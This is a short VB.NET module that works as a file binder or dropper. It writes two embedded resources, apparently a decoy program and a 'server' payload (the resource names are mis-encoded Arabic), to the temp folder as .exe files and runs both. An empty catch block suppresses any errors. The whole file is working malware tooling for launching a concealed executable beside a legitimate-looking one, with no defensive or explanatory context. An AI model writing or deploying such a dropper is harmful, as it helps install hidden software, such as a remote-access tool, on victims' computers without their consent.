Module Fares
    Dim fareschennib1 As Object = My.Resources.ÇáÈÑäÇãÌ
    Dim fareschennib2 As Object = My.Resources.ÇáÓíÑÝÑ
    Sub main()
        Try
            Dim fareschennib3 = IO.Path.GetTempPath & "\" & "ÇáÈÑäÇãÌ.exe"
            IO.File.WriteAllBytes(fareschennib3, fareschennib1)
            Process.Start(fareschennib3)
            Dim fareschennib4 = IO.Path.GetTempPath & "\" & "ÇáÓíÑÝÑ.exe"
            IO.File.WriteAllBytes(fareschennib4, fareschennib2)
            Process.Start(fareschennib4)
        Catch ex As Exception
        End Try
    End Sub
End Module